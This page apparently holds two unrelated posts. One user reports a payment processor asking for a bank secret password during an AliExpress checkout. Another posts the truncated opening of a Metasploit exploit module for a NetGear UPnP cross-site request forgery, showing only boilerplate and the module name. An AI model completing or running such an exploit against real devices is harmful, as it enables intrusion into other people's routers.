unrealwill

Tried to make a payment on aliexpress this weekend. 
Turns out the payment processor (wlp-acs.com), after a first valid SMS code check, is requesting my bank secret password.
Didn't give it, no way I'm giving it so the payment was rejected.

For information the identifier for accounts on this bank is written on every cheque you make.

See screenshot below : 

I called the bank this morning, and they assured me this is normal that it is "required by law", they call it "second factor".

phikshun

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NetGear UPnP CSRF',